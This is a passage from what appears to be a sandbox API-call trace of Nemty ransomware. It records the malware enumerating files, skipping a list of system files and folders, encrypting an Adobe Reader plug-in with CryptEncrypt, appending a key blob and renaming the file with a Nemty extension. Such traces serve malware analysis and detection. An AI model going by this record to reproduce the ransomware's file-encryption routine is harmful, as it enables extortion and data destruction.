[0192.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340328 [0192.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0192.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.602] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2667cef0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2667cef0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2667cef0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0192.602] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0192.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0192.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0192.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0192.602] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25456730, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x25456730, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x25456730, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0192.602] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0192.602] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0192.602] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0192.603] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0192.603] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0192.603] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0192.603] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0192.603] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0192.603] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0192.603] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0192.603] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0192.603] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0192.603] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0192.603] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0192.603] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0192.603] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0192.603] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0192.603] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0192.603] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0192.603] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0192.603] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0192.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.603] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.603] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0192.603] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.603] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0192.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.603] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94310 [0192.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0192.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.604] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25456730, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x25456730, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x25456730, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0192.604] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0192.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0192.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0192.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0192.604] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x174c63, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.api", cAlternateFileName="MULTIM~1.API")) returned 1 [0192.604] lstrcmpiW (lpString1="Multimedia.api", lpString2=".") returned 1 [0192.604] lstrcmpiW (lpString1="Multimedia.api", lpString2="..") returned 1 [0192.604] lstrcmpiW (lpString1="Multimedia.api", lpString2="...") returned 1 [0192.604] lstrcmpiW (lpString1="Multimedia.api", lpString2="windows") returned -1 [0192.604] lstrcmpiW (lpString1="Multimedia.api", lpString2="$RECYCLE.BIN") returned 1 [0192.604] lstrcmpiW (lpString1="Multimedia.api", lpString2="rsa") returned -1 [0192.604] lstrcmpiW (lpString1="Multimedia.api", lpString2="NTDETECT.COM") returned -1 [0192.604] lstrcmpiW (lpString1="Multimedia.api", lpString2="ntldr") returned -1 [0192.604] lstrcmpiW (lpString1="Multimedia.api", lpString2="MSDOS.SYS") returned 1 [0192.604] lstrcmpiW (lpString1="Multimedia.api", lpString2="IO.SYS") returned 1 [0192.604] lstrcmpiW (lpString1="Multimedia.api", lpString2="boot.ini") returned 1 [0192.604] lstrcmpiW (lpString1="Multimedia.api", lpString2="boot.ini") returned 1 [0192.604] lstrcmpiW (lpString1="Multimedia.api", lpString2="AUTOEXEC.BAT") returned 1 [0192.605] lstrcmpiW (lpString1="Multimedia.api", lpString2="ntuser.dat") returned -1 [0192.605] lstrcmpiW (lpString1="Multimedia.api", lpString2="desktop.ini") returned 1 [0192.605] lstrcmpiW (lpString1="Multimedia.api", lpString2="CONFIG.SYS") returned 1 [0192.605] lstrcmpiW (lpString1="Multimedia.api", lpString2="RECYCLER") returned -1 [0192.605] lstrcmpiW (lpString1="Multimedia.api", lpString2="BOOTSECT.BAK") returned 1 [0192.605] lstrcmpiW (lpString1="Multimedia.api", lpString2="bootmgr") returned 1 [0192.605] lstrcmpiW (lpString1="Multimedia.api", lpString2="programdata") returned -1 [0192.605] lstrcmpiW (lpString1="Multimedia.api", lpString2="appdata") returned 1 [0192.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.api", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0192.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.api", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.api", lpUsedDefaultChar=0x0) returned 14 [0192.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.api", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0192.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.api", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.api", lpUsedDefaultChar=0x0) returned 14 [0192.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.api", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0192.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.api", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.api", lpUsedDefaultChar=0x0) returned 14 [0192.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.api", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0192.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.api", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.api", lpUsedDefaultChar=0x0) returned 14 [0192.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0192.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0192.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0192.605] Sleep (dwMilliseconds=0x5) [0192.611] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2673b5d0, dwHighDateTime=0x1d561e8)) [0192.611] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2673b5d0, dwHighDateTime=0x1d561e8)) [0192.611] GetLastError () returned 0x12 [0192.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.611] GetLastError () returned 0x12 [0192.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.611] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0192.611] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0192.611] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0192.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0192.612] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="W3S7BMvBUQmf1qma5DhWjnlLPuT498RRUwHf+w133msYAnHYSTVt9QRnpUEXL76W\r\nK7ob7Dbt6Sexc+QlqnT+6Z5+JIqV78gcHK3SwlbObdVrgBaP1KFA3V4DwZ3qSFnE\r\nfuZ7YqovCpYxL8ad6rsU+tAQVYuvDJlnXeNWXUhegEOHFkZatS6pJ23gDYpy8eyP\r\nU3YcMNQNHy4Ik7VOqq65llM94CBtt+NJGMrDgz6Dx1pe3OJk9m7932cKEABYsmvl\r\nzdepTAIvryYTiHXFOCT+bqNeYRH48eCKSql/uM9L57C+FupyZIc3/ZXJ/w1j6XTz\r\nu3YZ7KcVwI4UAnS+MoGJNg==\r\n", pcchString=0x653e91c) returned 1 [0192.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0192.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.612] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0192.612] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=1526883) returned 1 [0192.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0192.612] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.612] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0192.622] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.622] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0192.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0192.622] SetFilePointer (in: hFile=0x254, lDistanceToMove=1526883, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x174c63 [0192.622] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0192.624] CloseHandle (hObject=0x254) returned 1 [0192.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0192.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0192.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340048 [0192.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0192.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.624] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia.api._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia.api._nemty_kgobjgd_")) returned 1 [0192.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0192.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0192.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0192.625] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x69263, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PDDom.api", cAlternateFileName="")) returned 1 [0192.625] lstrcmpiW (lpString1="PDDom.api", lpString2=".") returned 1 [0192.625] lstrcmpiW (lpString1="PDDom.api", lpString2="..") returned 1 [0192.625] lstrcmpiW (lpString1="PDDom.api", lpString2="...") returned 1 [0192.625] lstrcmpiW (lpString1="PDDom.api", lpString2="windows") returned -1 [0192.626] lstrcmpiW 